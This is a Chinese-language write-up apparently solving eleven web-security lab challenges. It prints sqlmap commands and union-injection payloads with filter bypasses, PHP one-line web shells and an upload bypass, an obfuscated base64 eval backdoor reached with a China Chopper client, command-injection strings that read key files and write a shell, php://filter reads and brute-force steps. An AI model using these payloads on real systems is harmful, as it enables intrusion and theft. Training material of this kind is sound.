第一题:基础题目之SQL注入
a.jpg
b.jpg
- 先随便注册一个账号,用这个账号登陆,在发表界面发布内容并抓包,把这个包保存到sql.txt里边,用sqlmap去注入
sqlmap.py -r 1.txt --dbs
sqlmap.py -r 1.txt --tables -D "test"
sqlmap.py -r 1.txt --columns -T "admin" -D "test"
sqlmap.py -r 1.txt --dump -C "user,pass" -T "admin" -D "test"
或者
--sql-query="select password from users1 where username='admin'"
- 注册页面也存在sql注入漏洞(前提是得用sqlmap检测出表名和列名)
admin' union select 1,username,password,4 from users1#
c.jpg
第二题:基础题目之文件上传突破
d.jpg
e.jpg
- 此题经过简单的测试过滤了eval,post,php文件后缀等
copy 1.jpg/a+2.php/b #制作一句话图片马
<?php system($_GET['cmd']); ?>
上传抓包,修改文件后缀为phtml,pHp等
可以用大小写绕过过滤的字符
Eval
- 上传成功一句话之后,执行命令获取根目录下的key.php
第三题:基础题目之文件包含
f.jpg
g.jpg
- 由url可知包含的是view.html,通过浏览器直接访问该文件查看源码可知
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
Hello
- 此页面是包含一句话后门的文件,可直接通过菜刀连接
#得用Cknife.jar版本的菜刀
修改config.ini文件为:
ACTION=z0
PHP_MAKE=
#连接
http://xxx.com/vulnerabilities/fu1.php?file=view.html
#密码
Hello=0
- 在得知此文件存在后门的情况下直接通过命令读取key.php
http://xxx.com/vulnerabilities/fu1.php?file=view.html
Hello=a&z0=echo passthru("cat ../key.php");
Hello=a&z0=ZWNobyBwYXNzdGhydSgiY2F0IC4uL2tleS5waHAiKTs=
第四题:基础题目之命令执行
k.jpg
l.jpg
127.0.0.1|pwd
#查看当前目录
127.0.0.1|ls ../
#找到key.php
127.0.0.1 &c'a't ../key.'p'hp
#获取到key
127.0.0.1|diff /var/www/html/key.php index.php
127.0.0.1;curl file:///var/www/html/key.php
127.1.1.1 && echo "<?php echo file_get_contents('../key.php');?>" > shell4key.php
<?php echo highlight_file('../key.php')?>
<?php echo file_get_contents("../cfg_database.php");?>
第五题:基础题目之验证码爆破
m.jpg
n.jpg
验证码可以被重复利用
直接burpsuit抓包就暴力破解
第六题:二阶SQL注入
o.jpg
p.jpg
注册一个用户
admin' #
密码为
123
用这个账户登录然后重置密码为
123456
退出登录然后用
admin
123456
重新登陆
直接抓包用sqlmap去注入即可
第七题:基础题目-日志分析
q.jpg
文件下载是一些目录扫描的链接
首先筛选状态码为200的链接
然后以door为关键词筛选
发现可以文件
/admin/backdoor.php
访问即可得到key
第八题:基础题目-代码审计
r.jpg
s.jpg
- 解题思路一
通过代码可以看出,文件本身是可以执行命令的但是又限制了命令的长度(30个字符)
echo '<?php'>w.php
echo 'system($_GET[1])'>>w.php
echo ';?>'>>w.php
echo '<?php'>q.php
echo 'eval($_POST[1])'>>q.php
echo ';?>'>>q.php
ls | grep key >123.html
第九题:基础题目之SQL注入
t.jpg
u.jpg
通过简单的测试发现过滤了空格,union,#等字符
#绕过
id=1')/**/order/**/by/**/4%23
id=-1')/**/uniounionn/**/select/**/1,2,3,4%23
id=-1')/**/uniounionn/**/select/**/1,2,load_file('/tmp/360/key'),4%23
第十题:基础题目之文件包含
v.jpg
w.jpg
- 这道题与上边的文件包含题不同,源码里并没有发现后门的存在.
php://filter/read=convert.base64-encode/resource=file:///var/www/html/key.php
第十一题:基础题目之日志分析
y.jpg
通过ip地址筛选出一部分
再通过状态码200筛选,找到可以文件
adminlogin.php
打开发现是个登录页面
进行爆破
admin password123
网友评论